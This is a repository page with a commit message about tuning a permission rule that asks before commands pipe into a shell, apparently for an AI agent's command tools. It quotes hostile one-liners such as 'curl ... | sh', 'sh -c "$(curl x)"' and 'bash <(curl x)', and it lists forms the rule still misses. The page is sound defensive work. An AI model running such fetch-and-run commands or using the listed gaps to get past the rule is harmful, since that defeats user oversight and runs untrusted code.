Files
ARTEX/db
BaaRai 11de92810a intercept: keep the pipe-into-a-shell ask below the deny rules and match it on the parsed command
The ask was seeded at priority 85, above the built-in deny rules at 80.
The first matching rule decides, so curl -XDELETE http://t/api/users/1 | sh
turned from a deny into an ask. Seed it at 75. The seed is unreleased, so
the value changes in place under the same flag.

The pattern read the whole input as text. It missed wrappers, subshells,
quoting and most shells, and it matched a | inside quotes, a ||, the
content of a Write and a URL. It now reads only the value of a "command"
key, in three parts:
- on the parsed Bash form (every simple command printed with its quotes
  and backslashes removed, commands joined by "; "), a shell that is not
  the first command, after optional wrappers (sudo, doas, env, exec,
  command, setsid, nohup, busybox, stdbuf, nice, timeout), with only
  options that give it no script;
- a shell given -s, in any position;
- on the input as written, for a line the parser rejects and for the
  other command tools, a | that is not part of ||, then the same wrappers
  and shell with only such options.
shell_open {"command":"bash"} and a first-position shell without -s do
not ask.

Open forms, also listed above the pattern: a script fed without a pipe
(sh -c "$(curl x)", eval, bash <(curl x), source <(...), . /dev/stdin,
bash < file, a bare first shell with a here-document), a program word
built at run time (| $SHELL), wrappers not listed (xargs, chroot, su -c,
flock, nsenter, sudo -s), other interpreters, a bare shell after ;, &&
or || and a quoted word that contains "; sh" (the parsed form keeps
neither the operator nor word boundaries), quoted text that spells a
pipe into a shell, and fish -v.

The seed test asserts priority 75 and that every enabled built-in deny
rule sits above the ask. A new server test drives the real engine with
the seeded rules: the deny rules keep their deny, the wrapped, quoted and
subshell forms ask, and ||, quoted pipes, Write content, a URL and
shell_open do not.

Refs #966
2026-12-05 23:49:54 +01:00
..
2026-12-03 00:44:15 +05:30
2026-12-03 00:44:15 +05:30
2026-12-03 00:44:15 +05:30
2026-10-08 23:14:34 +02:00
2026-08-28 12:56:29 +08:00
2026-08-28 12:56:29 +08:00
2026-08-28 12:56:29 +08:00